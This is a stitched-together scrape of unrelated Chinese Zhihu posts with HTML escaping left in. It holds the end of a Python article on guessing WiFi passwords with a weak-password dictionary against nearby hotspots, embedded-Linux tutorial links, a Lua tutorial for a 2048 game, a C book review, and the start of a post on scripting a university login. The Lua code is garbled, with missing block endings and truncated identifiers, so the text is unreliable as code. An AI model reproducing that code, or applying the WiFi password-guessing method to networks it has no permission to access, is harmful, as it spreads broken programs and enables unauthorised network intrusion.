class=&p&&,&/span&&span class=&mi&&15&/span&&span class=&p&&,&/span&&span class=&n&&k&/span&&span class=&p&&)&/span&
&span class=&k&&return&/span& &span class=&bp&&False&/span&
&/code&&/pre&&/div&&h3&&strong&案例&/strong&&/h3&&p&这里显示本次测试使用了11个弱口令,并扫描到了20个热点,然后开始坑爹的跑起来了&/p&&ul&&li&&em&&strong&WIFIID&/strong&&/em& 热点的id号 每跑一个会减1&/li&&li&&em&&strong&SSID OR BSSID&/strong&&/em& 热点的ssid名或mac地址&/li&&li&&em&&strong&N&/strong&&/em& 对热点的连接状态,这个在&/li&&li&&strong&&em&time&/em&&/strong& 当前所花去的时间&/li&&li&&strong&&em&signal&/em&&/strong& 热点的信号强度,若小越好&/li&&li&&strong&&em&KEYNUM&/em&&/strong& 测试密码的id 每跑一个会减1&/li&&li&&strong&&em&KEY&/em&&/strong& 当前测试的密码&/li&&/ul&&figure&&img src=&/v2-031dd3dda4bafcd44e81_b.png& data-rawwidth=&648& data-rawheight=&140& class=&origin_image zh-lightbox-thumb& width=&648& data-original=&/v2-031dd3dda4bafcd44e81_r.png&&&/figure&&h3&&strong&传送门&/strong&&/h3&&p&&a href=&/?target=http%3A///s/1c10Q6Ow& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&字典&i class=&icon-external&&&/i&&/a&&a href=&/?target=http%3A///s/1gf0uH3P& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&源码&i class=&icon-external&&&/i&&/a&&a href=&/?target=http%3A///s/1o8BBJRG& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&模块&i class=&icon-external&&&/i&&/a&&/p&&p&&a href=&/?target=http%3A///news/201510/bKHbxozIz7zyYCFy.html& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&你的WiFi密码是如何被隔壁老王破解的? | 雷锋网&i class=&icon-external&&&/i&&/a&&/p&
上点python有意思的代码。 环境准备python2.7字典清除系统中的任何wifi连接记录导入模块这里用的模块就这三个 pywifi的_wifiutil_linux.py脚本的 _send_cmd_to_wpas方法中的if reply != b'OK\n':判断需要修改,不然会有很多的提示信息。from pywi…
嵌入式驱动方面的内容,现已整理出教程,详见:&br&&u&&b&&a class=& wrap external& href=&///?target=http%3A///files/doc/docbook/embedded_drv_dev/release/html/embedded_drv_dev.html& target=&_blank& rel=&nofollow noreferrer&&嵌入式驱动开发&i class=&icon-external&&&/i&&/a&&/b&&/u&&br&&br&1.其中背景知识不了解的先去看:&br&&u&&b&&a class=& wrap external& href=&///?target=http%3A///files/doc/docbook/embedded_soft_dev/release/html/embedded_soft_dev.html%23emb_dev_related_things& target=&_blank& rel=&nofollow noreferrer&&嵌入式软件开发&i class=&icon-external&&&/i&&/a&&/b&&/u&&br&&br&3.想要继续了解,嵌入式Linux驱动,则再去看:&br&&u&&b&&a class=& wrap external& href=&///?target=http%3A///files/doc/docbook/embedded_linux_drv_dev/release/html/embedded_linux_drv_dev.html& target=&_blank& rel=&nofollow noreferrer&&嵌入式Linux驱动开发&i class=&icon-external&&&/i&&/a&&br&&br&&/b&&/u&4.另外,这个也是相关的内容,感兴趣的也可以看看:&br&&u&&b&&a href=&///?target=http%3A///files/doc/docbook/embedded_linux_dev/release/html/embedded_linux_dev.html& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&嵌入式Linux软件开发&i class=&icon-external&&&/i&&/a&&/b&&/u&&br&&br&========================================&br&说实话:&br&很难几句话说清楚。&br&&br&但是我正:&br&抽空写教程,尝试尽量解释清楚这方面的东西。&br&&br&目前写了一点点,你可以先看看:&br&1.说了个思路:&br&&a href=&///?target=http%3A///embedded_development_background/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&嵌入式开发之嵌入式背景知识&i class=&icon-external&&&/i&&/a&&br&2.说了个流程:&br&&a href=&///?target=http%3A///embedded_development_basic_concept_develop_logic/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&嵌入式开发之基本概念和开发逻辑&i class=&icon-external&&&/i&&/a&&br&关于基本的嵌入式开发流程,我暂时只写了个框架,还没来得急写内容,&br&仅供参考:&br&&a class=& wrap external& href=&///?target=http%3A///embedded_series_tutorial/& target=&_blank& rel=&nofollow noreferrer&&嵌入式开发系列教程&i class=&icon-external&&&/i&&/a&&br&3.用个例子解释逻辑:&br&&a href=&///?target=http%3A///qanda_embedded_data_acqusition_system_implement_process/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&【问题解答】用一个嵌入式开发板去实现数据采集的基本思路和逻辑&i class=&icon-external&&&/i&&/a&&br&4.整理了点概念:&br&&a href=&///?target=http%3A///summary_embedded_concept_name_explanation/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&【整理】嵌入式领域的名词概念解释&i class=&icon-external&&&/i&&/a&&br&5.一点总结:&br&&a href=&///?target=http%3A///summary_embedded_development_experience_and_note/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&【整理】嵌入式开发经验和心得总结&i class=&icon-external&&&/i&&/a&&br&6.解释需要哪些知识:&br&&a class=& wrap external& href=&///?target=http%3A///summary_use_similar_building_field_explain_embedded_system_need_learn_which_kind_of_knowledge/& target=&_blank& rel=&nofollow noreferrer&&【整理】类比解释:嵌入式开发需要掌握哪些知识&i class=&icon-external&&&/i&&/a&&br&7.概念相关:&br&&a href=&///?target=http%3A///embedded_system_software_field_knowledge_overview/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&【整理】嵌入式软件知识体系概述&i class=&icon-external&&&/i&&/a&&br&&br&8. 其他的,可以去看看我总结的嵌入式相关的东西:&br&&b&&a class=& wrap external& href=&///?target=http%3A///page/4/%3Fs%3D%25E5%25B5%258C%25E5%%25E5%25BC%258F%26submit%3DSearch& target=&_blank& rel=&nofollow noreferrer&&嵌入式 | 搜索结果&i class=&icon-external&&&/i&&/a&&/b&&br&&br&其他,已经写好并发布的,和嵌入式相关的book有:&br&&ol&&li&&a class=& wrap external& href=&///?target=http%3A///files/doc/docbook/linux_nand_driver/release/html/linux_nand_driver.html& target=&_blank& rel=&nofollow noreferrer&&【详解】如何编写Linux下Nand Flash驱动&i class=&icon-external&&&/i&&/a&&/li&&li&&a class=& wrap external& href=&///?target=http%3A///files/doc/docbook/uboot_starts_analysis/release/html/uboot_starts_analysis.html& target=&_blank& rel=&nofollow noreferrer&&Uboot中start.S源码的指令级的详尽解析&i class=&icon-external&&&/i&&/a&&/li&&li&&a class=& wrap external& href=&///?target=http%3A///files/doc/docbook/mpeg_vbr/release/html/mpeg_vbr.html& target=&_blank& rel=&nofollow noreferrer&&MPEG简介 + 如何计算CBR和VBR的MP3的播放时间&i class=&icon-external&&&/i&&/a&&/li&&li&&a class=& wrap external& href=&///?target=http%3A///files/doc/docbook/nand_get_type/release/html/nand_get_type.html& target=&_blank& rel=&nofollow noreferrer&&Linux MTD下获取Nand flash各个参数的过程的详细解析&i class=&icon-external&&&/i&&/a&&/li&&li&&a class=& wrap external& href=&///?target=http%3A///files/doc/docbook/linux_wireless/release/html/linux_wireless.html& target=&_blank& rel=&nofollow noreferrer&&如何在Linux下写无线网卡的驱动&i class=&icon-external&&&/i&&/a&&/li&&li&&a class=& wrap external& href=&///?target=http%3A///files/doc/docbook/firmware_download/release/html/firmware_download.html& target=&_blank& rel=&nofollow noreferrer&&【详解】嵌入式开发中固件的烧录方式&i class=&icon-external&&&/i&&/a&&/li&&li&&a class=& wrap external& href=&///?target=http%3A///files/doc/docbook/runtime_upgrade_linux/release/html/runtime_upgrade_linux.html& target=&_blank& rel=&nofollow noreferrer&&在Linux运行期间升级Linux系统(Uboot+kernel+Rootfs)&i class=&icon-external&&&/i&&/a&&/li&&li&&a class=& wrap external& href=&///?target=http%3A///files/doc/docbook/binutils_intro/release/html/binutils_intro.html& target=&_blank& rel=&nofollow noreferrer&&GNU Binutils详解&i class=&icon-external&&&/i&&/a&&/li&&li&&a class=& wrap external& href=&///?target=http%3A///files/doc/docbook/cross_compile/release/html/cross_compile.html& target=&_blank& rel=&nofollow noreferrer&&交叉编译详解&i class=&icon-external&&&/i&&/a&&/li&&li&&a class=& wrap external& href=&///?target=http%3A///files/doc/docbook/crosstool_ng/release/html/crosstool_ng.html& target=&_blank& rel=&nofollow noreferrer&&crosstool-ng详解&i class=&icon-external&&&/i&&/a&&/li&&li&&a class=& wrap external& href=&///?target=http%3A///files/doc/docbook/usb_basic/release/html/usb_basic.html& target=&_blank& rel=&nofollow noreferrer&&USB基础知识概论&i class=&icon-external&&&/i&&/a&&/li&&li&&a class=& wrap external& href=&///?target=http%3A///files/doc/docbook/usb_disk_driver/release/html/usb_disk_driver.html& target=&_blank& rel=&nofollow noreferrer&&如何实现Linux下的U盘(USB Mass Storage)驱动&i class=&icon-external&&&/i&&/a&&/li&&li&&a class=& wrap external& href=&///?target=http%3A///files/doc/docbook/usb_hid/release/html/usb_hid.html& target=&_blank& rel=&nofollow noreferrer&&USB HID Learning Record&i class=&icon-external&&&/i&&/a&&/li&&li&&a class=& wrap external& href=&///?target=http%3A///files/doc/docbook/dma_pl08x_analysis/release/html/dma_pl08x_analysis.html& target=&_blank& rel=&nofollow noreferrer&&详解ARM的AMBA设备中的DMA设备PL08X的Linux驱动&i class=&icon-external&&&/i&&/a&&/li&&li&&a class=& wrap external& href=&///?target=http%3A///files/doc/docbook/hardware_basic/release/html/hardware_basic.html& target=&_blank& rel=&nofollow noreferrer&&硬件电路基础知识&i class=&icon-external&&&/i&&/a&&/li&&li&&a class=& wrap external& href=&///?target=http%3A///files/doc/docbook/arm_vs_mips/release/html/arm_vs_mips.html& target=&_blank& rel=&nofollow noreferrer&&ARM与MIPS的详细对比&i class=&icon-external&&&/i&&/a&&/li&&li&&a class=& wrap external& href=&///?target=http%3A///files/doc/docbook/interrupt_related/release/html/interrupt_related.html& target=&_blank& rel=&nofollow noreferrer&&【详解】中断相关的知识&i class=&icon-external&&&/i&&/a&&/li&&li&&a class=& wrap external& href=&///?target=http%3A///files/doc/docbook/fieldbus_intro/release/html/fieldbus_intro.html& target=&_blank& rel=&nofollow noreferrer&&现场总线Field Bus简析&i class=&icon-external&&&/i&&/a&&/li&&li&&a class=& wrap external& href=&///?target=http%3A///files/doc/docbook/symbology_code128/release/html/symbology_code128.html& target=&_blank& rel=&nofollow noreferrer&&Code 128 Symbology Introduction&i class=&icon-external&&&/i&&/a&&/li&&li&&a class=& wrap external& href=&///?target=http%3A///files/doc/docbook/symbology_gs1128/release/html/symbology_gs1128.html& target=&_blank& rel=&nofollow noreferrer&&GS1-128条形码和相关的AI及FNC1的详解&i class=&icon-external&&&/i&&/a&&/li&&li&&a class=& wrap external& href=&///?target=http%3A///files/doc/docbook/symbology_plessey/release/html/symbology_plessey.html& target=&_blank& rel=&nofollow noreferrer&&Plessey & MSI Symbology Introduction&i class=&icon-external&&&/i&&/a&&/li&&li&&a class=& wrap external& href=&///?target=http%3A///files/doc/docbook/symbology_upc/release/html/symbology_upc.html& target=&_blank& rel=&nofollow noreferrer&&UPC/UPC-A/UPC-E & EAN Barcode Symbology&i class=&icon-external&&&/i&&/a&&/li&&/ol&&br&&br&剩下再说几句:&br&大概思路:&br&有了点嵌入式相关的知识(操作系统,C语言,体系架构,交叉编译等等)后&br&直接买块嵌入式开发板,早点:&br&自己动手练习&br&只有多练,才可能渐渐的明白相关的原理。&br&&br&关于书:&br&目前觉得值得推荐的:&br&宋宝华的那本 :&br&&p&&a class=& wrap external& href=&///?target=http%3A///subject/2984156/& target=&_blank& rel=&nofollow noreferrer&&Linux设备驱动开发详解 &i class=&icon-external&&&/i&&/a&&br&&/p&&br&&p&总之:&/p&&p&以后会整理出教程的。&/p&&p&暂时,只能主要靠你自己多多参考网络资源,先搞懂基本概念和逻辑,再去多动手练习了。&/p&
嵌入式驱动方面的内容,现已整理出教程,详见:
1.其中背景知识不了解的先去看:
3.想要继续了解,嵌入式Linux驱动,则再去看:
4.另外,这个也是相关的内容,感兴趣的也可以看看: …
&figure&&img src=&/50/983a6d635cdafc647eb8a2e577edf24b_b.png& data-rawwidth=&908& data-rawheight=&445& class=&origin_image zh-lightbox-thumb& width=&908& data-original=&/50/983a6d635cdafc647eb8a2e577edf24b_r.png&&&/figure&&p&&b&摘要&/b&&br&&/p&&p&该游戏基于lae开发平台开发,lua代码300多行即可。下载Game2048,用lae打开Game2048.ui文件,可以看到ui结构、设置,甚至在工具中运行测试&/p&&p&游戏代码下载地址:&a href=&/?target=https%3A///ouloba/Game2048.git& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&/ouloba/Game2&/span&&span class=&invisible&&048.git&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&游戏代码下载地址(国内):&a href=&/?target=https%3A///s/1o8COrqy& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&/s/1o8COrq&/span&&span class=&invisible&&y&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&lae下载地址:&a href=&/?target=https%3A///ouloba/laetool.git& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&/ouloba/laeto&/span&&span class=&invisible&&ol.git&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&lae下载地址(国内):&a href=&/?target=https%3A///s/1ckMy0Q& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&/s/1ckMy0Q&/span&&span class=&invisible&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&1、iPhone上截2048的图&/p&&p&2、用lae参考图功能,打开该图片&/p&&img src=&/50/ecaaa32a9db9c46e8c5ceaa_b.png& data-rawwidth=&887& data-rawheight=&739& class=&origin_image zh-lightbox-thumb& width=&887& data-original=&/50/ecaaa32a9db9c46e8c5ceaa_r.png&&&p&3、编辑数字块,不同的数字、不同的颜色&/p&&img src=&/50/c9e3b0c26e49c_b.png& data-rawwidth=&1087& data-rawheight=&904& class=&origin_image zh-lightbox-thumb& width=&1087& data-original=&/50/c9e3b0c26e49c_r.png&&&p&4、编辑游戏界面顶部&img src=&/50/134abad8b115dcf71176_b.png& data-rawwidth=&1089& data-rawheight=&364& class=&origin_image zh-lightbox-thumb& width=&1089& data-original=&/50/134abad8b115dcf71176_r.png&&&/p&&p&5、编辑游戏主窗口,每个格子命名:列x行,主要是通过名字寻找相应的格子坐标用来放置数字格子&img src=&/50/cce7d69bb75d197f1d64e_b.png& data-rawwidth=&1131& data-rawheight=&617& class=&origin_image zh-lightbox-thumb& width=&1131& data-original=&/50/cce7d69bb75d197f1d64e_r.png&&&/p&&p&6、编辑game over界面&img src=&/50/e98a5e2bfd5b92d13568bae_b.png& data-rawwidth=&1079& data-rawheight=&663& class=&origin_image zh-lightbox-thumb& width=&1079& data-original=&/50/e98a5e2bfd5b92d13568bae_r.png&&&/p&&p&7、在主游戏界面上加个透明按钮(仅有文字)&img src=&/50/bf469fb08fb8da5bccc58c_b.png& data-rawwidth=&749& data-rawheight=&683& class=&origin_image zh-lightbox-thumb& width=&749& data-original=&/50/bf469fb08fb8da5bccc58c_r.png&&&/p&&p&8、在这详细介召如何制作上面用的窗口,包括点击开始按钮[click to start]、数字方块[number 2048]&br&&/p&&p&
&1&编辑[click to start]的创建、布局,渲染,事件处理。&br&&/p&&p&
在root窗口上点击右键菜单[add child]添加新的窗口, 设置窗口大小和root窗口一样大小,中间再加入一个窗口title来显示“click to start”文字&img src=&/50/cc7ba6a55d56ac9ed746a9_b.png& data-rawwidth=&662& data-rawheight=&424& class=&origin_image zh-lightbox-thumb& width=&662& data-original=&/50/cc7ba6a55d56ac9ed746a9_r.png&&&img src=&/50/251d94efed229ff39f4c08_b.png& data-rawwidth=&757& data-rawheight=&634& class=&origin_image zh-lightbox-thumb& width=&757& data-original=&/50/251d94efed229ff39f4c08_r.png&&&/p&&p& title窗口只是为了显示文字不接收事件,因此设置disable为true让父窗口start处理事件&/p&&img src=&/50/9892cece48b2aaefcc5524b4_b.png& data-rawwidth=&757& data-rawheight=&536& class=&origin_image zh-lightbox-thumb& width=&757& data-original=&/50/9892cece48b2aaefcc5524b4_r.png&&&p&父窗口start处理了点击事件,点击触[OnLClickDown]发时转换成全局事件[OnStart],然后在root窗口上LuaLogic组件处理事件。&img src=&/50/ee1d4a32baed643b0c4b93ef_b.png& data-rawwidth=&754& data-rawheight=&701& class=&origin_image zh-lightbox-thumb& width=&754& data-original=&/50/ee1d4a32baed643b0c4b93ef_r.png&&&img src=&/50/2e682ce9c1a49eff446dc828fbe9a77e_b.png& data-rawwidth=&761& data-rawheight=&824& class=&origin_image zh-lightbox-thumb& width=&761& data-original=&/50/2e682ce9c1a49eff446dc828fbe9a77e_r.png&&&/p&&p&在LuaLogic组件中,关联了main.lua文件和main_dispacher事件处理派发接口&img src=&/50/336a1bb92a14_b.png& data-rawwidth=&1086& data-rawheight=&708& class=&origin_image zh-lightbox-thumb& width=&1086& data-original=&/50/336a1bb92a14_r.png&&&img src=&/50/74c704bfe1c8ea5ffe0d8a6_b.png& data-rawwidth=&442& data-rawheight=&480& class=&origin_image zh-lightbox-thumb& width=&442& data-original=&/50/74c704bfe1c8ea5ffe0d8a6_r.png&&&/p&&p&&2&数字方块的创建、编辑、渲染&/p&&p&比如number 2048包含back用于显示背景圆角方块和颜色,number用于显示数字.&/p&&p&back主要是Frame用9宫格的方式渲染圆角图片,number只有EditBox组件,整个number 2048窗口设置disable为true,只是用于显示,不处理事件。&img src=&/50/1d77cae7a4dd_b.png& data-rawwidth=&393& data-rawheight=&487& class=&content_image& width=&393&&&img src=&/50/6cc2ebdbc0b55a0b5127f_b.png& data-rawwidth=&368& data-rawheight=&375& class=&content_image& width=&368&&&/p&&p&&3&&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&LXZDoFile(&LXZHelper.lua&);
LXZDoFile(&serial.lua&);
--记录分数文件
local cfg = ILXZCoreCfg:new_local();
cfg:load(LXZAPIGetWritePath()..&game_info.cfg&);
local function create_number(name,number)
local root = HelperGetRoot();
local grids = root:GetLXZWindow(&game:back grids&)
local main = root:GetLXZWindow(&game:main&);
local dictions = root:GetLXZWindow(&dictions&)
local pt = grids:GetChild(name):GetHotPos(true); --获取背景格坐标
local w=dictions:GetChild(&number &..number):Clone();--从字典中克隆数字窗口
w:SetName(name);
--名字改成和背景格一致
main:AddChild(w);
--加入面板容器窗口
w:SetHotPos(pt,true);
--位置和背景格保持一致
w:SetAddData(number);
--指定是数字
AddWndUpdateFunc(w, EffectEase,{type=tween.CIRC, fn=tween.easeOut, begin=0, offset=-0.5, change=0.5, duration=500,reset=true,attribute=&CLXZWindow:Scale:fScaleX&},nil, 1);
AddWndUpdateFunc(w, EffectEase,{type=tween.CIRC, fn=tween.easeOut, begin=0, offset=-0.5, change=0.5, duration=500,reset=true,attribute=&CLXZWindow:Scale:fScaleY&},nil, 2);
--随机出2、4
local function random_number()
local root = HelperGetRoot();
local grids = root:GetLXZWindow(&game:back grids&)
local main = root:GetLXZWindow(&game:main&);
local dictions = root:GetLXZWindow(&dictions&)
--获取空位置
local tiles = {};
for col=1,4,1 do
for row=1,4,1 do
local number=main:GetChild(col..&x&..row);
if number == nil then
table.insert(tiles, col..&x&..row);
--随机一个空位
local index = math.random(1,table.getn(tiles));
if tiles[index]==nil then
--80%的概率出2, 20%的概率出4
local number = 2;
local random = math.random(1,100);
if random&80 then
--克隆一个数字窗口,加到面板中,位置和背景格重叠
create_number(tiles[index],number);
--游戏开始初始化,随机出两个数
local function game_init()
local root = HelperGetRoot();
local main = root:GetLXZWindow(&game:main&);
main:ClearChilds();
root:GetLXZWindow(&start&):Hide();
root:GetLXZWindow(&game over&):Hide();
--随机数字
random_number();
random_number();
--[[create_number(&1x1&,2);
create_number(&2x1&,2);
create_number(&3x1&,2);
create_number(&4x1&,2);--]]
local bonus_w = root:GetLXZWindow(&head:bonus:number&);
HelperSetWindowText(bonus_w, tostring(0));
HelperSetWindowText(root:GetLXZWindow(&game over:bonus:bonus&), tostring(0));
local maxcore=cfg:GetInt(&maxcore&);
HelperSetWindowText(root:GetLXZWindow(&head:history:number&), tostring(maxcore));
local function merge(dst_col, dst_row, src_col, src_row)
local root
= HelperGetRoot();
local main = root:GetLXZWindow(&game:main&);
local grids = root:GetLXZWindow(&game:back grids&)
local dictions = root:GetLXZWindow(&dictions&)
local src = main:GetChild(src_col..&x&..src_row);
if src==nil then
local dst = main:GetChild(dst_col..&x&..dst_row);
if dst == nil then --目标位置为空
local pt = grids:GetChild(dst_col..&x&..dst_row):GetHotPos(true);
src:SetName(dst_col..&x&..dst_row); --reset name.
src:SetHotPos(pt, true); --reset position
--数字不同
if src:GetAddData() ~= dst:GetAddData() then
--相同数字则翻倍,
local number = src:GetAddData()*2;
src:Delete(); --删除原数字
dst:Delete(); --删除目标数字
--克隆新数字
local clone = dictions:GetChild(&number &..number):Clone();
main:AddChild(clone);
--放置目标格子位置
local pt = grids:GetChild(dst_col..&x&..dst_row):GetHotPos(true); --获得位置
clone:SetName(dst_col..&x&..dst_row); --reset name.
clone:SetHotPos(pt, true); --reset position
clone:SetAddData(number); --set number
AddWndUpdateFunc(clone, EffectEase,{type=tween.CIRC, fn=tween.easeOut, begin=0, offset=-0.5, change=0.5, duration=500,reset=true,attribute=&CLXZWindow:Scale:fScaleX&},nil, 1);
AddWndUpdateFunc(clone, EffectEase,{type=tween.CIRC, fn=tween.easeOut, begin=0, offset=-0.5, change=0.5, duration=500,reset=true,attribute=&CLXZWindow:Scale:fScaleY&},nil, 2);
AddWndUpdateFunc(clone, EffectEase,{type=tween.CIRC, fn=tween.easeOut, begin=0, offset=-200, change=200, duration=500,reset=true,attribute=&CLXZWindow:Mask:alpha&},nil, 3);
local bonus_w = root:GetLXZWindow(&head:bonus:number&);
local bonus = tonumber(HelperGetWindowText(bonus_w));
bonus = bonus+
HelperSetWindowText(bonus_w, tostring(bonus));
HelperSetWindowText(root:GetLXZWindow(&game over:bonus:bonus&), tostring(bonus));
local maxcore=cfg:GetInt(&maxcore&);
if bonus&maxcore then
cfg:SetInt(&maxcore&, -1, bonus);
local function tighten_move_line(v,direction)
local root = HelperGetRoot();
local main = root:GetLXZWindow(&game:main&);
local grids = root:GetLXZWindow(&game:back grids&)
local count=0;
if direction==&left& then
for col=1,4,1 do
local w = main:GetChild(col..&x&..v);
count=count+1;
local pt = grids:GetChild(count..&x&..v):GetHotPos(true);
w:SetName(count..&x&..v); --reset name.
w:SetHotPos(pt, true); --reset position
elseif direction==&right& then
for col=4,1,-1 do
local w = main:GetChild(col..&x&..v);
local pt = grids:GetChild((4-count)..&x&..v):GetHotPos(true);
w:SetName((4-count)..&x&..v); --reset name.
w:SetHotPos(pt, true); --reset position
count=count+1;
elseif direction==&top& then
for row=1,4,1 do
local w = main:GetChild(v..&x&..row);
count=count+1;
local pt = grids:GetChild(v..&x&..count):GetHotPos(true);
w:SetName(v..&x&..count); --reset name.
w:SetHotPos(pt, true); --reset position
elseif direction==&bottom& then
for row=4,1,-1 do
local w = main:GetChild(v..&x&..row);
local pt = grids:GetChild(v..&x&..(4-count)):GetHotPos(true);
w:SetName(v..&x&..(4-count)); --reset name.
w:SetHotPos(pt, true); --reset position
count=count+1;
--滑动融合
local function move(direction)
LXZAPI_OutputDebugStr(&move:&..direction);
if direction==&top& then
for col=1,4,1 do
tighten_move_line(col, direction);
for row=1,4,1 do
if merge(col, row, col, row+1) then
tighten_move_line(col, direction);
elseif direction==&bottom& then
for col=1,4,1 do
tighten_move_line(col, direction);
for row=4,1,-1 do
if merge(col, row, col, row-1) then
tighten_move_line(col, direction);
--tighten_move_line(col, direction);
elseif direction==&left& then
for row=1,4,1 do
tighten_move_line(row, direction);
for col=1,4,1 do
if merge(col, row, col+1, row) then
tighten_move_line(row, direction);
--tighten_move_line(row, direction);
elseif direction==&right& then
for row=1,4,1 do
tighten_move_line(row, direction);
for col=4,1,-1 do
if merge(col, row, col-1, row) then
tighten_move_line(row, direction);
--tighten_move_line(row, direction);
random_number();
--是否相同
local function is_equal(dst_col, dst_row, src_col, src_row)
local root
= HelperGetRoot();
local main = root:GetLXZWindow(&game:main&);
local src = main:GetChild(src_col..&x&..src_row);
if src==nil then
local dst = main:GetChild(dst_col..&x&..dst_row);
if dst == nil then --目标位置为空
--数字不同
if src:GetAddData() ~= dst:GetAddData() then
--是否结束
local function is_game_over()
local root
= HelperGetRoot();
local main = root:GetLXZWindow(&game:main&);
for col=1,4,1 do
for row=1,4,1 do
--如果有空格,则未结束。
local w = main:GetChild(col..&x&..row);
if w== nil then
--到达最大值,则结束
if w:GetAddData()==2048 then
--如果相邻有同值,则未结束。
if is_equal(col,row,col,row+1) then
if is_equal(col,row,col+1,row) then
local function OnStart(window, msg, sender)
game_init();
local function OnUpdate(window, msg, sender)
UpdateWindow();
--LXZAPI_OutputDebugStr(&OnUpdate&)
IsLClickDown=
local function OnMainClickDown(window, msg, sender)
IsLClickDown=
local function OnMainMouseMove(window, msg, sender)
local corecfg = ICGuiGetLXZCoreCfg();
if IsLClickDown==false then
local x = msg:int ();
local y = msg:int ();
local origin_x = corecfg.nClickDownX;
local origin_y = corecfg.nClickDownY;
--计算偏移量
local delta_x=x-origin_x;
local delta_y=y-origin_y;
--识别滑动方向
if math.abs(delta_x)&math.abs(delta_y) then
if math.abs(delta_x)&=8 then
if delta_x&0 then
move(&left&);
IsLClickDown=
move(&right&);
IsLClickDown=
if math.abs(delta_y)&=8 then
if delta_y&0 then
move(&top&);
IsLClickDown=
move(&bottom&);
IsLClickDown=
if is_game_over() then
local root = HelperGetRoot();
root:GetLXZWindow(&game over&):Show();
if cfg then
cfg:save(LXZAPIGetWritePath()..&game_info.cfg&);
--加载完成触发事件
local function OnLoad(window, msg, sender)
local root=HelperGetRoot();
root:GetLXZWindow(&game over&):Hide();
root:GetLXZWindow(&start&):Show();
local maxcore=cfg:GetInt(&maxcore&);
HelperSetWindowText(root:GetLXZWindow(&head:history:number&), tostring(maxcore));
--事件绑定
local event_callback = {}
event_callback [&OnStart&] = OnS
event_callback [&OnLoad&] = OnL
event_callback [&OnUpdate&] = OnU
event_callback [&OnMainMouseMove&] = OnMainMouseM
event_callback [&OnMainClickDown&] = OnMainClickD
--消息派发接口
function main_dispacher(window, cmd, msg, sender)
--- LXZAPI_OutputDebugStr(&cmd 1:&..cmd);
if(event_callback[cmd] ~= nil) then
LXZAPI_OutputDebugStr(&cmd 2:&..cmd);
event_callback[cmd](window, msg, sender);
&/code&&/pre&&/div&
摘要 该游戏基于lae开发平台开发,lua代码300多行即可。下载Game2048,用lae打开Game2048.ui文件,可以看到ui结构、设置,甚至在工具中运行测试游戏代码下载地址:游戏代码下载地址(国内):
&p&&b&《C语言程序设计现代方法》&/b&,我心中永远的最好!&/p&&p&这本书不像一本书,或者说不像一本纸质的物质,而像是一个真正的老师,谆谆教导着你,仿佛一个人站在你的身边,告诉你,这个那个。她是有生命的,如果你感觉到她的生命了,证明你入门了!K.N.KING,的经典之作。初学入门参考都合适。极力推荐,豆瓣评分很高,这也可想而知。&/p&&p&&br&&/p&&p&第一版:飘花蝴蝶,我用的就是这一版。&/p&&img src=&/eff629e92e2c8ecabca2dd1_b.jpg& data-rawwidth=&317& data-rawheight=&450& class=&content_image& width=&317&&&p&&br&&/p&&p&第二版:流带。&/p&&img src=&/d3e51cc5bf1ebd1999e25_b.png& data-rawwidth=&243& data-rawheight=&318& class=&content_image& width=&243&&&p&豆瓣评分:不说了,真是经典。&/p&&img src=&/5b4dc766c1ffbe3fb95ef_b.png& data-rawwidth=&229& data-rawheight=&181& class=&content_image& width=&229&&
《C语言程序设计现代方法》,我心中永远的最好!这本书不像一本书,或者说不像一本纸质的物质,而像是一个真正的老师,谆谆教导着你,仿佛一个人站在你的身边,告诉你,这个那个。她是有生命的,如果你感觉到她的生命了,证明你入门了!K.N.KING,的经典之…
&figure&&img src=&/50/511ca53dbc3cc3b2208a9_b.png& data-rawwidth=&928& data-rawheight=&629& class=&origin_image zh-lightbox-thumb& width=&928& data-original=&/50/511ca53dbc3cc3b2208a9_r.png&&&/figure&&p&
鉴于先前回答了一个问题 &a class=&internal& href=&/question//answer/?from=profile_answer_card#&&&span class=&invisible&&https://www.&/span&&span class=&visible&&/question/5062&/span&&span class=&invisible&&3009/answer/?from=profile_answer_card#&/span&&span class=&ellipsis&&&/span&&/a& 导致有一些知友私信我,问我是怎么实现一键评教功能的。所以就打算写篇文章描述我当时是怎么实现这个功能的,声明&b&我只是个python基础学习者,以下仅为个人的一些观点,不足之处还请各位多多担待&/b&。&/p&&p&
开门见山吧,首先进入官网的登入界面, 并监控浏览器的行为(网络抓包)&/p&&img data-rawheight=&290& data-rawwidth=&600& src=&/9aaa79b74ced2342a1acc_b.png& class=&origin_image zh-lightbox-thumb& width=&600& data-original=&/9aaa79b74ced2342a1acc_r.png&&&p&点击登入按钮,会抓取到一个POST头信息,里面含有提交给服务器的信息&/p&&img data-rawheight=&317& data-rawwidth=&807& src=&/c764dec20fd6f_b.png& class=&origin_image zh-lightbox-thumb& width=&807& data-original=&/c764dec20fd6f_r.png&&&p&比如我这里提交了用户名,密码和一个动态变化的参数lt。lt需要动态的抓取,因此需要分析下登入界面的html,ctrl+f搜索lt很快就找到了它的位置所在。到这里我们就知道POST了哪些信息给服务器,下面只需要写代码向上图中的url post请求即可模拟登入官网。&/p&&p&代码参考:&/p&&div class=&highlight&&&pre&&code class=&language-python&&&span&&/span&&span class=&kn&&import&/span& &span class=&nn&&re&/span&
&span class=&kn&&import&/span& &span class=&nn&&requests&/span&
